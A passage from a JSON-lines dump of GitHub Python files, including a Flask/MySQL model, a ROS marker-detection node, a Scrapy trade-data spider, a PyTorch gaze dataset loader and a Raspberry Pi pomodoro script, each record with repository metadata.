[],\n            'data': []\n        }\n        prefetch_data = {\n            models.Server: None,\n            models.NetworkDevice: None,\n            models.SecurityDevice: None,\n            models.Software: None,\n        }\n        for key in prefetch_data:\n            data_list = list(key.objects.values('sub_asset_type').annotate(total=Count('sub_asset_type')))\n            for index, category in enumerate(data_list):\n                for db_val, display_name in key.sub_asset_type_choices:\n                    if category['sub_asset_type'] == db_val:\n                        data_list[index]['name'] = display_name\n\n            for item in data_list:\n                dataset['names'].append(item['name'])\n                dataset['data'].append(item['total'])\n        return dataset\n","repo_name":"a-mac-user/Ragtime","sub_path":"asset/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"39944832482","text":"import re\n\n\ndef main():\n    #ランダムに並べられた重複のない整数の配列\n    array = [5, 4, 6, 2, 1, 9, 8, 3, 7, 10]\n    # ソート実行\n    sortedArray = sort(array)\n    # 結果出力\n    [print(i) for i in sortedArray]\n\ndef sort(array):\n    # 要素が一つの場合はソートの必要がないので、そのまま返却\n    if len(array) == 1:\n        return array\n\n    # 配列の先頭を基準値とする\n    pivot = array[0]\n\n    # ここから記述\n    print(array)\n    \n    search_start = 0\n    search_end = len(array) - 1\n\n    replace={\n      'start':-1,\n      'end':-1\n    }\n\n    # ある一つの閾値で交換がすべて終わるまで繰り返し処理を行う\n    while search_start <= search_end:\n      # 左から条件に当てはまるものが見つかるまで繰り返し処理を行う\n      while array[search_start] < pivot:\n        search_start += 1\n      replace['start'] = array[search_start]\n      \n      # 右から条件に当てはまるものが見つかるまで繰り返し処理を行う\n      while array[search_end] >= pivot:\n        search_end -= 1\n      replace['end'] = array[search_end]\n\n      array[search_start] = replace['end']\n      array[search_end] = replace['start']\n      \n\n    def check(array):\n      for i in range(len(array)-1):\n        if array[i] > array[i+1]:\n          return 1\n      return 0\n    \n    if check(array) == 1:\n      sort(array)\n\n    # ここまで記述\n\nif __name__ == '__main__':\n    main()\n","repo_name":"MasatoKawai/EVENT-QUESTION","sub_path":"Sort.py","file_name":"Sort.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"20511667397","text":"# [Bisect-Lower-Bound, Classic]\n# https://leetcode.com/problems/find-k-closest-elements/\n# 658. Find K Closest Elements\n\n# History:\n# Google\n# 1.\n# Mar 12, 2020\n# 2.\n# Apr 8, 2020\n# 3.\n# Apr 12, 2020\n# 4.\n# Apr 29, 2020\n\n# Given a sorted array, two integers k and x, find the k closest elements to x in the array. The\n# result should also be sorted in ascending order. If there is a tie, the smaller elements are\n# always preferred.\n#\n# Example 1:\n# Input: [1,2,3,4,5], k=4, x=3\n# Output: [1,2,3,4]\n# Example 2:\n# Input: [1,2,3,4,5], k=4, x=-1\n# Output: [1,2,3,4]\n# Note:\n# The value k is positive and will always be smaller than the length of the sorted array.\n# Length of the given array is positive and will not exceed 104\n# Absolute value of elements in the array and x will not exceed 104\n# UPDATE (2017/9/19):\n# The arr parameter had been changed to an array of integers (instead of a list of integers).\n# Please reload the code definition to get the latest changes.\n\n\nfrom collections import deque\n\n\nclass Solution(object):\n    def _bisect(self, arr, x):\n        l, r = 0, len(arr)\n\n        while l < r:\n            m = (r - l) / 2 + l\n\n            if arr[m] >= x:\n                r = m\n            else:\n                l = m + 1\n\n        return l\n\n    def findClosestElements(self, arr, k, x):\n        \"\"\"\n        :type arr: List[int]\n        :type k: int\n        :type x: int\n        :rtype: List[int]\n        \"\"\"\n        pos = self._bisect(arr, x)\n\n        l, r = pos - 1, pos\n\n        ret = deque()\n        while len(ret) < k:\n            if 0 <= l < len(arr) and 0 <= r < len(arr):\n                if x - arr[l] <= arr[r] - x:\n                    ret.appendleft(arr[l])\n                    l -= 1\n                else:\n                    ret.append(arr[r])\n                    r += 1\n            elif 0 <= l < len(arr):\n                ret.appendleft(arr[l])\n                l -= 1\n            else:\n                ret.append(arr[r])\n                r += 1\n\n        return ret\n","repo_name":"Frankiee/leetcode","sub_path":"binary_search/bisect_lower_bound/658_find_k_closest_elements.py","file_name":"658_find_k_closest_elements.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"73670716523","text":"\"\"\"\n----------------------------------------------------------------------\nin tensorflow 1.x we need to build a blue print of whatever NN we want\nSo first we have to define a computational graph and then execute it\n----------------------------------------------------------------------\nComputational Graph (or CG):\nis a network of nodes and edges\nAll the data which would be used and all the computations to be performed are defined.\nNode represents object (either var or operations)\n----------------------------------------------------------------------\nPlaceholder:\nA variable which we need to define to complete our computational graph and will be assigned later in execution\n----------------------------------------------------------------------\nExecution of CG:\nis performed using the session object\nWhen session is called the tensor objects which  were abstract (blue print) till now will come to life\nSession is a place where actual calculations and transform of information from one layer to another take place\n-----------------------------------------------------------------------\nfid_dict:\nis used to fed values to placeholders\n\"\"\"\n\nimport tensorflow.compat.v1 as tf\n\ntf.disable_v2_behavior()\n\"\"\"\nADD TWO VECTORS\n\"\"\"\n# define three nodes (two variable and one operation)\nvec_1 = tf.constant([1, 2, 3, 4, 5])\nvec_2 = tf.constant([-1, 4, 0, 3, -2])\nvec_add = tf.add(vec_1, vec_2)\n\nsess = tf.Session()\nprint(sess.run(vec_add))\nsess.close()\n\n\"\"\"\nMultiply two matrix\n\"\"\"\nmat_1 = tf.random_normal([3, 2], mean=5, stddev=2, seed=5)\nmat_2 = tf.constant([[7., 7., 7.], [1., 2., 3.]])\nmat_mul = tf.matmul(mat_1, mat_2)\n\nsess = tf.Session()\nprint(sess.run(mat_mul))\nsess.close()\n\n\"\"\"\nplaceholder example\n\"\"\"\nx = tf.placeholder('float')\ny = tf.multiply(2., x)\ndata = tf.random_uniform([4, 5],3)\nsess = tf.Session()\nx_data = sess.run(data)\nprint(sess.run(y, feed_dict={x: x_data}))\nsess.close()\n","repo_name":"HosseinSheikhi/tensorflow2","sub_path":"chapter2/TF1SimpleIntro.py","file_name":"TF1SimpleIntro.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"10296155583","text":"import csv\r\nimport os\r\nimport numpy as np\r\nfrom skimage import io,transform\r\nimport pandas as pd\r\n#import matplotlib.pyplot as plt\r\nimport matplotlib.patches as patches\r\nimport matplotlib.lines as lines\r\nimport torch\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom torchvision import transforms, utils\r\nfrom torch.autograd import Variable\r\n\r\ndef show_gaze(image, annotations, label):\r\n    \"\"\"Show image with annotations\"\"\"\r\n    #fig = plt.imshow(image)\r\n    x=annotations[0, 0]*image.shape[1]\r\n    y=annotations[0, 1]*image.shape[0]\r\n    w=annotations[1, 0]*image.shape[1]\r\n    h=annotations[1, 1]*image.shape[0]\r\n    ''''eyex = annotations[2, 0]*image.shape[1]\r\n    eyey = annotations[2, 1]*image.shape[0]\r\n    targetx = annotations[3, 0]*image.shape[1]\r\n    targety = annotations[3, 1]*image.shape[0]\r\n    #fig,ax = plt.subplots(1)\r\n    ax.imshow(image)\r\n    rect = patches.Rectangle((x,y),w,h,linewidth=1,edgecolor='r',facecolor='none')\r\n    eye = patches.Circle((eyex,eyey),5)\r\n    gaze = [(eyex,eyey), (targetx,targety)]\r\n    (targetx, targety) = zip(*gaze)\r\n    ax.add_patch(rect)\r\n    ax.add_patch(eye)\r\n    ax.add_line(lines.Line2D(targetx, targety, linewidth=2, color='yellow'))\r\n    ax.axis('off')\r\n    #plt.show()\r\n    #plt.pause(0.001)  # pause a bit so that plots are updated'''\r\n\r\n\r\nclass GazeDataset(Dataset):\r\n    def __init__(self, csv_file, root_dir, transform=None):\r\n        self.annotations = pd.read_csv(csv_file)\r\n        self.root_dir = root_dir\r\n        self.transform = transform\r\n\r\n    def __len__(self):\r\n        return len(self.annotations)\r\n\r\n    def __getitem__(self, idx):\r\n        while True:\r\n            img_name = os.path.join(self.root_dir,\r\n                                    self.annotations.iloc[idx, 0])\r\n            image = io.imread(img_name)\r\n            \r\n            #convert grayscale to RGB\r\n            if image.ndim == 2:\r\n                image = np.dstack([image] * 3)\r\n                \r\n            annotations = self.annotations.iloc[idx, 2:10].as_matrix()\r\n            annotations = annotations.astype('float').reshape(-1, 2)\r\n            label = AnnotationToLabel(annotations[3])\r\n            #print(label)\r\n            sample = {'image': image, 'annotations': annotations, 'label':label }\r\n            if self.transform:\r\n                sample = self.transform(sample)\r\n                if(sample['label'][0] >= 0):\r\n                    break\r\n                idx = np.random.randint(1, len(self.annotations)-1)\r\n            else:\r\n                break\r\n            #print(\"Resampling... \" + str(idx))\r\n            \r\n        cropface = CropFaceAndResize(227)\r\n        face = cropface(sample)\r\n        img_var, head_var, h_pos = MakeInputReady(sample['image'],face['image'],sample['annotations'][2])\r\n        #img_var = img_var.transpose((2, 0, 1))\r\n        #head_var = head_var.transpose((2, 0, 1))\r\n        inputs = {'image': img_var, 'head': head_var, 'pos':h_pos }\r\n        return sample, inputs\r\n\r\n\r\n\r\nclass Flip(object):\r\n    def __call__(self, sample):\r\n        image, annotations, label = sample['image'], sample['annotations'], sample['label']\r\n        temp = annotations *[1,1]\r\n        img = np.flip(image,1)\r\n        temp[0,0] =  (1 - temp[0,0]) - temp[1,0]\r\n        temp[2,0] = 1 - temp[2,0]\r\n        temp[3,0] = 1 - temp[3,0]\r\n        label = AnnotationToLabel(temp[3])\r\n        return {'image': img, 'annotations': temp, 'label':label }\r\n\r\n\r\n\r\nclass Rescale(object):\r\n    def __init__(self, output_size):\r\n        assert isinstance(output_size, (int, tuple))\r\n        self.output_size = output_size\r\n\r\n    def __call__(self, sample):\r\n        image, annotations, label = sample['image'], sample['annotations'], sample['label']\r\n\r\n        h, w = image.shape[:2]\r\n        if isinstance(self.output_size, int):\r\n            if h > w:\r\n                new_h, new_w = self.output_size * h / w, self.output_size\r\n            else:\r\n                new_h, new_w = self.output_size, self.output_size * w / h\r\n        else:\r\n            new_h, new_w = self.output_size\r\n\r\n        new_h, new_w = int(new_h), int(new_w)\r\n\r\n        img = transform.resize(image, (new_h, new_w))\r\n\r\n        return {'image': img, 'annotations': annotations, 'label':label }\r\n    \r\n    \r\nclass RandomCrop(object):\r\n    \"\"\"Crop randomly the image in a sample.\"\"\"\r\n\r\n    def __init__(self, output_size):\r\n        assert isinstance(output_size, (int, tuple))\r\n        if isinstance(output_size, int):\r\n            self.output_size = (output_size, output_size)\r\n        else:\r\n            assert len(output_size) == 2\r\n            self.output_size = output_size\r\n\r\n    def __call__(self, sample):\r\n        image, annotations, label = sample['image'], sample['annotations'], sample['label']\r\n\r\n        h, w = image.shape[:2]\r\n        new_h, new_w = self.output_size\r\n        i=0\r\n        while i<5:\r\n            top = np.random.randint(0, h - new_h)\r\n            left = np.random.randint(0, w - new_w)\r\n    \r\n            image2 = image[top: top + new_h,\r\n                          left: left + new_w]\r\n            \r\n            annotations2 = (annotations*[w,h] - [left, top])/[new_w,new_h]\r\n            annotations2[1] = annotations[1]*[w,h] /[new_w,new_h]\r\n            if(np.min(annotations2)>=0 and np.max(annotations2[2])<=1):\r\n                break\r\n            i += 1\r\n            #print(\"Resclaing Again...\")\r\n        if i==5:\r\n            label[0]=-1\r\n            return {'image': image2, 'annotations': annotations2, 'label':label }\r\n        #print(annotations2,np.min(annotations2))\r\n        label = AnnotationToLabel(annotations2[3])\r\n        return {'image': image2, 'annotations': annotations2, 'label':label }\r\n\r\nclass CropFaceAndResize(object):\r\n    \"\"\"Crop the face in a sample.\"\"\"\r\n    def __init__(self, output_size):\r\n        assert isinstance(output_size, (int, tuple))\r\n        if isinstance(output_size, int):\r\n            self.output_size = (output_size, output_size)\r\n        else:\r\n            assert len(output_size) == 2\r\n            self.output_size = output_size\r\n            \r\n    def __call__(self, sample):\r\n        \"\"\"Shahbaz: I didn't reset the annotations for this function,\r\n        because there is no need for that\"\"\"\r\n        \r\n        image, annotations, label = sample['image'], sample['annotations'], sample['label']\r\n\r\n        h, w = image.shape[:2]\r\n        new_h = int(annotations[1][1]*h)\r\n        new_w = int(annotations[1][0]*w)\r\n        \r\n        top = int(annotations[0][1]*h)\r\n        left = int(annotations[0][0]*w)\r\n\r\n        image = image[top: top + new_h,\r\n                      left: left + new_w]\r\n        new_h, new_w = self.output_size\r\n        img = transform.resize(image, (new_h, new_w))\r\n        \r\n        #return image\r\n        return {'image': img, 'annotations': annotations, 'label':label }\r\n    \r\n    \r\nclass ToTensor(object):\r\n    \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\r\n\r\n    def __call__(self, sample):\r\n        image, annotations, label = sample['image'], sample['annotations'], sample['label']\r\n\r\n        # swap color axis because\r\n        # numpy image: H x W x C\r\n        # torch image: C X H X W\r\n        image = image.transpose((2, 0, 1))\r\n        return {'image': torch.from_numpy(image),\r\n                'annotations': torch.from_numpy(annotations),\r\n                'label':label }, True\r\n        \r\n        \r\n\r\ndef AnnotationToLabel(sample):\r\n    xx = sample[1]*15\r\n    yy = sample[0]*15\r\n    #print(xx,yy)\r\n    v_x = [0, 1, -1, 0, 0]\r\n    v_y = [0, 0, 0, -1, 1]\r\n    output = np.zeros(5)\r\n    for k in range(0,5):\r\n        delta_x = v_x[k]\r\n        delta_y = v_y[k]\r\n        f = np.zeros((5,5))\r\n        for x in range(0,5):\r\n            for y in range(0,5):\r\n                i_x = 3*(x) - delta_x\r\n                i_x = max(i_x,0)\r\n                if(x==0):\r\n                    i_x = 0\r\n\t\t\t\t\r\n                i_y = 3*(y) - delta_y\r\n                i_y = max(i_y,0)\r\n                if(y==0):\r\n                    i_y = 0\r\n                f_x = 3*(x+1)-delta_x\r\n                f_x = min(14,f_x)\r\n                if(x==4):\r\n                    f_x = 14\r\n                f_y = 3*(y+1)-delta_y\r\n                f_y = min(14,f_y)\r\n                if(y==4):\r\n                    f_y = 14\r\n                mid_x = (f_x + i_x)/2\r\n                mid_y = (f_y + i_y)/2\r\n                #print(k,x,y,f[x,y],i_x,f_x,i_y,f_y)\r\n                f[x,y]=((xx-mid_x)*(xx-mid_x)+(yy-mid_y)*(yy-mid_y))\r\n        #print(f)\r\n        f = np.reshape(f,(1,25))\r\n        output[k]=np.argmin(f)\r\n    output = torch.from_numpy(output)\r\n    output = output.type(torch.LongTensor)\r\n    return output\r\n\r\n\r\n\r\ndef MakeInputReady(img,head,pos):\r\n    #This is basically the first part of the find_gaze function\r\n    head_pos = np.zeros((1,1,169))\r\n    z = np.zeros((13,13))\r\n    x = int(np.floor((pos[0]*13)))\r\n    y = int(np.floor((pos[1]*13)))\r\n    z[x,y] = 1\r\n    z = np.reshape(z, (1,1,169))\r\n    head_pos=z\r\n    head_pos = np.resize(head_pos,(1,169,1))\r\n    h_pos = torch.from_numpy(head_pos)\r\n    img = np.reshape(img,(227,227,3))\r\n    head = np.reshape(head,(227,227,3))\r\n    \r\n    #If there is no batch size:\r\n    t_img = torch.from_numpy(img.transpose(2,0,1)).float().unsqueeze(0)\r\n    t_head = torch.from_numpy(head.transpose(2,0,1)).float().div(255.0).unsqueeze(0)\r\n    \r\n    #For batch training version\r\n    #t_img = torch.from_numpy(img.transpose(2,0,1)).float()\r\n    #t_head = torch.from_numpy(head.transpose(2,0,1)).float().div(255.0)\r\n    \r\n    img_var = t_img\r\n    head_var = t_head\r\n    h_pos = h_pos\r\n    \r\n    return img_var,head_var,h_pos\r\n","repo_name":"faportillo/MIND-Gaze-Detection","sub_path":"DataProcess.py","file_name":"DataProcess.py","file_ext":"py","file_size_in_byte":9561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"41522700479","text":"import zeit.crop.source\nimport zeit.crop.testing\nimport zope.interface.verify\n\n\nclass TestSources(zeit.crop.testing.FunctionalTestCase):\n    def test_scale_source(self):\n        source = zeit.crop.source.ScaleSource()(None)\n        scales = list(source)\n        self.assertEqual(7, len(scales))\n        scale = scales[0]\n        zope.interface.verify.verifyObject(zeit.crop.interfaces.IPossibleScale, scale)\n        self.assertEqual('450x200', scale.name)\n        self.assertEqual('450', scale.width)\n        self.assertEqual('200', scale.height)\n        self.assertEqual('Aufmacher groß (450×200)', scale.title)\n\n    def test_color_source(self):\n        source = zeit.crop.source.ColorSource()(None)\n        values = list(source)\n        self.assertEqual(3, len(values))\n        value = values[1]\n        zope.interface.verify.verifyObject(zeit.crop.interfaces.IColor, value)\n        self.assertEqual('schwarzer Rahmen (1 Pixel)', value.title)\n        self.assertEqual('#000000', value.color)\n","repo_name":"ZeitOnline/vivi","sub_path":"core/src/zeit/crop/tests/test_source.py","file_name":"test_source.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"}
{"seq_id":"25934357606","text":"# -*- coding: utf-8 -*-\nimport re\nimport time\nimport pandas as pd\nimport scrapy\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait \nfrom elasticsearch import Elasticsearch\n\n\nclass ProductTradeSpider(scrapy.Spider):\n    name = 'product_trade'\n    allowed_domains = ['https://www.trademap.org/']\n    start_urls = ['https://www.trademap.org/Product_SelCountry_TS.aspx?nvpm=1|788||||TOTAL|||2|1|1|2|2|1|1|1|1']\n\n    def parse(self, response):\n        title=response.xpath(\"//span[@id='ctl00_Label_Title']/text()\").extract()\n        reporter=re.findall(r'exported by ([\\w\\s]+)', title[0])[0]\n        outputs=response.xpath(\"//a[contains(@href,'Sort$output')]//text()\").extract()\n        year=re.findall(r'\\d\\d\\d\\d',' '.join(outputs))\n        driver = webdriver.Firefox()\n        driver.get(response.url)\n        driver.switch_to_active_element\n        product_list = driver.find_elements_by_xpath(\"//table[@id='ctl00_PageContent_MyGridView1']//tr[position() > 2]\")\n        for co in product_list[:-1]:\n            line=' '.join(co.text.split(' ')[1:])\n            product=re.findall(r'[\\D,\\s.\\'()_-]*',line)[0].strip()\n            vals=line[len(product)+1:].split()\n            for i in range(len(vals)):\n                driver.switch_to_active_element\n                item = {}\n                item['partners'] = \"All\"\n                item['reporters'] = reporter\n                item['products'] = product\n                item['trade_value'] = int((vals[i]+'000').replace(',',''))\n                item['years'] = year[i]\n                yield item\n        links = list(set(response.xpath(\"//a[contains(@href,'Page$')]//text()\").extract()))\n        for link in links:\n            next_page = driver.find_element_by_link_text(link)\n            next_page.click()\n            #wait=WebDriverWait(driver, 20)\n            #wait.until(elementIdentified(By.id(\"ctl00_PageContent_MyGridView1\")))\n            driver.manage().timeouts().implicitlyWait(20, TimeUnit.SECONDS)\n            driver.switch_to_active_element\n            driver.manage().timeouts().implicitlyWait(20, TimeUnit.SECONDS)\n            product_list = driver.find_elements_by_xpath(\"//table[@id='ctl00_PageContent_MyGridView1']//tr[position() > 2]\")\n            \n            for co in product_list[:-1]:\n                driver.manage().timeouts().implicitlyWait(20, TimeUnit.SECONDS)\n                time.sleep(20) \n                line=' '.join(co.text.split(' ')[1:])\n                product=re.findall(r'[\\D,\\s.\\'()_-]*',line)[0].strip()\n                vals=line[len(product)+1:].split()\n                for i in range(len(vals)):\n                    driver.switch_to_active_element\n                    item = {}\n                    item['partners'] = \"All\"\n                    item['reporters'] = reporter\n                    item['products'] = product\n                    item['trade_value'] = int((vals[i]+'000').replace(',',''))\n                    item['years'] = year[i]\n                    yield item\n            time.sleep(2)    \n        \n        \n      \n","repo_name":"ibtissemkadri/Data-Science-Projects","sub_path":"data_preparation/project/trade/trade/spiders/product_trade.py","file_name":"product_trade.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"701046634","text":"#!/usr/bin/env python\n\nimport os\nimport rospy\nimport rospkg\nrospack = rospkg.RosPack()\n\nfrom dynamic_reconfigure.server import Server\nfrom o2as_marker_detection.cfg import MarkerPoseEstimationConfig\nfrom o2as_marker_detection.marker_detection import *\nfrom o2as_marker_detection.camera_client import *\n\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom sensor_msgs.msg import Image\nfrom sensor_msgs.msg import PointCloud2\nimport sensor_msgs.point_cloud2 as pc2\n\nParams= (\n    dummy_param,\n) = range(0, 1)\n\nclass MarkerDetectionNode(MarkerDetection):\n    def __init__(self):\n        super(MarkerDetectionNode, self).__init__()\n\n        # configure\n        self.dynamic_reconfigure = Server(MarkerPoseEstimationConfig, self.dynamic_reconfigure_callback)\n\n        # # generate marker\n        # image_dir = rospy.get_param(\"~image_dir\")\n        # for i in range(50):\n        #     marker_filename = os.path.join(image_dir, \"marker_\" + str(i) + \".png\")\n        #     self.generate_marker(marker_filename, i, 600)\n\n        # connect to the camera\n        self.bridge = CvBridge()\n        camera_name = rospy.get_param(\"~camera_name\")\n        camera_type = rospy.get_param(\"~camera_type\")\n        self.camera = CameraClient(camera_name, camera_type)\n        while not rospy.is_shutdown():\n            # get frame\n            cloud, texture = self.camera.get_frame(publish=True)\n            cv_image = self.bridge.imgmsg_to_cv2(texture, \"bgr8\")\n\n            # convert point cloud2 message to points\n            i = 0\n            points=np.zeros((cv_image.shape[1]*cv_image.shape[0], 3))\n            for p in pc2.read_points(cloud, field_names=(\"x\", \"y\", \"z\"), skip_nans=False):\n                points[i,0]=p[0]\n                points[i,1]=p[1]\n                points[i,2]=p[2]\n                i = i+1\n            \n            self.detect_marker(points, cv_image, target_marker_id=0)\n        rospy.spin()\n\n        cv2.destroyAllWindows()\n\n    def set_param(self, config, level):\n        if level & (1 << Params[dummy_param]):\n            rospy.set_param(\"~dummy_param\", config.dummy_param)\n\n    def dynamic_reconfigure_callback(self, config, level):\n        self.set_param(config, level)\n        return config\n\nif __name__ == \"__main__\":\n    rospy.init_node('marker_detection', anonymous=True, log_level=rospy.DEBUG)\n    node = MarkerDetectionNode()\n    rospy.spin()\n","repo_name":"o2as/ur-o2as","sub_path":"catkin_ws/src/o2as_marker_detection/scripts/marker_detection_node.py","file_name":"marker_detection_node.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"19"}
{"seq_id":"17444962397","text":"import argparse\n\nif __name__ == \"__main__\":\n    print('main')\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--parse_wiki', help='If true it will parse wikipedia pages.For permanent change, you could change '\n                                            'you could set PARSE_WIKI_ARTICLES in config.py file.')\n    parser.add_argument('--parse_fasttext', help='If true it will parse fast text.For permanent change, you could change '\n                                            'you could set PARSE_FASTTEXT in config.py file.')\n\n    parser.parse_args()","repo_name":"ali73/entityTyping","sub_path":"trying.py","file_name":"trying.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"72012973804","text":"from txlib import MarkdownThoughtStorms, Environment\n\n\n\nimport unittest, re\n\ndef assertCollapseNL(test,a,b) :\n    a = re.sub(\"\\n+\",\"\\n\",a)\n    b = re.sub(\"\\n+\",\"\\n\",b)\n    #print(a)\n    #print(b)\n    test.assertEqual(a,b)\n    \n\nclass TestMarkdownThoughtStorms(unittest.TestCase) :\n\n    def setUp(self) :\n        self.chef = MarkdownThoughtStorms()\n        self.env = Environment({},\"/\")\n\n\n    def test1(self) :\n        p = \"\"\"\n## Hello Teenage America\n\nGoodbye *Cruel* **World**\n\n----\n\n* another\n* green\n* world\n\"\"\"\n        self.assertEqual(self.chef.cook(p,self.env), \n\"\"\"<h2>Hello Teenage America</h2>\n<p>Goodbye <em>Cruel</em> <strong>World</strong></p>\n<hr />\n<ul>\n<li>another</li>\n<li>green</li>\n<li>world</li>\n</ul>\"\"\")\n\n    def test2(self) :\n        p = \"\"\"\nBefore\n\n[<YOUTUBE\nid : kc_Jq42Og7Q\n>]\n\nDuring\n\n[<YOUTUBE\nid : kc_Jq42Og7Q\n>]\n\n\nAfter\n\"\"\"\n        self.assertEqual(self.chef.cook(p,self.env),\n\"\"\"<p>Before</p>\\n<p><div class=\"youtube-embedded\"><iframe width=\"400\" height=\"271\" src=\"http://www.youtube.com/embed/kc_Jq42Og7Q\" frameborder=\"0\" allowfullscreen></iframe></div></p>\\n<p>During</p>\\n<p><div class=\"youtube-embedded\"><iframe width=\"400\" height=\"271\" src=\"http://www.youtube.com/embed/kc_Jq42Og7Q\" frameborder=\"0\" allowfullscreen></iframe></div></p>\\n<p>After</p>\"\"\")\n\n    def test3(self) :\n        p = \"\"\"\n## Some stuff\nxxx\n[<PRE\n\n## This shouldn't be Markdowned\n\n>]\n\nMiddle \n\n[<PRE\n4\n\n\n\n\nblank rows\n>]\n\nAftermath\"\"\"\n        r = \"\"\"<h2>Some stuff</h2>\n<p>xxx</p>\n\n## This shouldn't be Markdowned\n\n<p>Middle</p>\n\n4\n\n\n\n\nblank rows\n\n<p>Aftermath</p>\"\"\"\n        assertCollapseNL(self,self.chef.cook(p,self.env),r)\n\nif __name__ == '__main__' :\n    unittest.main()\n","repo_name":"interstar/thoughtstorms-libs","sub_path":"thoughtstorms/utTxLib.py","file_name":"utTxLib.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"14025168179","text":"# import the function that will return an instance of a connection\nfrom flask_app.config.mysqlconnection import connectToMySQL\n# model the class after the table from our database\nclass Author:\n    def __init__( self , data ):\n        self.id = data['id']\n        self.name = data['name']\n        self.created_at = data['created_at']\n        self.updated_at = data['updated_at']\n    # Now we use class methods to query our database\n    @classmethod\n    def get_all_authors(cls):\n        query = \"SELECT * FROM authors;\"\n        # make sure to call the connectToMySQL function with the schema you are targeting.\n        results = connectToMySQL('books_schema').query_db(query)\n        # Create an empty list to append our instances of rows\n        rows = []\n        # Iterate over the db results and create class instances with cls.\n        for row in results:\n            rows.append( cls(row) )\n        return rows\n    @classmethod\n    def get_author_with_id(cls, id):\n        query = \"SELECT * FROM authors WHERE id=%d;\" % (id)\n        # make sure to call the connectToMySQL function with the schema you are targeting.\n        results = connectToMySQL('books_schema').query_db(query)\n        # return class instance\n        return cls(results[0])\n    @classmethod\n    def get_favorite_authors(cls, books_id):\n        query = \"SELECT * FROM authors JOIN favorites ON favorites.authors_id = authors.id WHERE favorites.books_id=%d;\" % (books_id)\n        # make sure to call the connectToMySQL function with the schema you are targeting.\n        results = connectToMySQL('books_schema').query_db(query)\n        # Create an empty list to append our instances of rows\n        rows = []\n        # Iterate over the db results and create class instances with cls.\n        for row in results:\n            rows.append( cls(row) )\n        return rows\n    @classmethod\n    def get_not_favorite_authors(cls, books_id):\n        query = \"SELECT * FROM authors WHERE authors.id NOT IN (SELECT authors.id FROM authors JOIN favorites ON favorites.authors_id = authors.id WHERE favorites.books_id=%d);\" % (books_id)\n        # make sure to call the connectToMySQL function with the schema you are targeting.\n        results = connectToMySQL('books_schema').query_db(query)\n        # Create an empty list to append our instances of rows\n        rows = []\n        # Iterate over the db results and create instances of rows with cls.\n        for row in results:\n            rows.append( cls(row) )\n        return rows\n    # class method to save our class instance to the database\n    @classmethod\n    def insert_new_author(cls, data ):\n        query = \"INSERT INTO authors ( name, created_at, updated_at ) VALUES ( %(name)s , NOW() , NOW() );\"\n        # data is a dictionary that will be passed into the save method from server.py\n        return connectToMySQL('books_schema').query_db( query, data )\n    ","repo_name":"dfried514/python2022","sub_path":"flask_mysql/crud/books/flask_app/models/author.py","file_name":"author.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15244015153","text":"# Press ⌃R to execute it or replace it with your code.\n# Press Double ⇧ to search everywhere for classes, files, tool windows, actions, and settings.\n\n\n# ---------------.....MAIN.....---------------\ndef main():\n    with open('aux_files/time.txt', 'r') as reader:\n        date_mmdd = reader.read()\n    today = strftime(\"%m%d%H\")\n    if (date_mmdd[0:4] != today[0:4] and int(today[4:6]) >= 6) or (\n            date_mmdd[0:4] == today[0:4] and int(date_mmdd[4:6]) < 6 <= int(today[4:6])):\n        init.reset_checklist()\n        init.reset_cycle()\n        print(\"\\nresetted: cycle & morning routine\\n\")\n        print(f\"\\nadded daily: {add_repeating_tasks()}\")\n        write_time()\n    draw_checklist()\n    while True:\n        if butt_NFC.is_pressed:\n            check_routine_via_NFC()\n            draw_checklist()\n        if butt_task.is_pressed:\n            new_task()\n        if butt_shopping.is_pressed:\n            new_task(\"shop\")\n        if butt.is_pressed:\n            with open('aux_files/cycle_state.txt', 'r') as reader:\n                cycle_state = reader.read()\n                print(f\"----------\\nhello world \\n\\n cycle number is {cycle_state}\\n----------\")\n                cycle_state = int(cycle_state)\n\n            try:\n                with canvas(device_pomodoro) as draw:\n                    draw.rectangle(device_pomodoro.bounding_box, outline=\"white\", fill=\"black\")\n                    draw.text((30, 40), \"Hello World\", fill=\"white\", font=font_norm)\n            except:\n                print(\"\\n! npomo-display error ! \\t\\tpomo disp init\\n\")\n\n            while True:\n                write_time()\n                pomo_red_blink(cycle_state)\n                with open('aux_files/cycle_state.txt', 'r') as reader:\n                    cycle_state = int(reader.read())\n                    print(f\"----------\\n following pomo is {cycle_state + 1}\\n----------\")\n                cycle_state = pomo_red_light(cycle_state)\n                pomo_green_blink(cycle_state)\n                pomo_green_light(cycle_state)\n        if butt_up.is_pressed:\n            print_tasks(20)\n        if butt_down.is_pressed:\n            print_tasks(20, \"project\")\n        sleep(0.5)\n\n\n# ---------------.....INIT.....---------------\n# used when started by \"start_yn.py\" sequence with button press OR \"python3 -m main\" command\nfrom init import *\n\n# print_tasks(15)\nprint(\"\\nFinished starting.\\n\\tEnjoy your 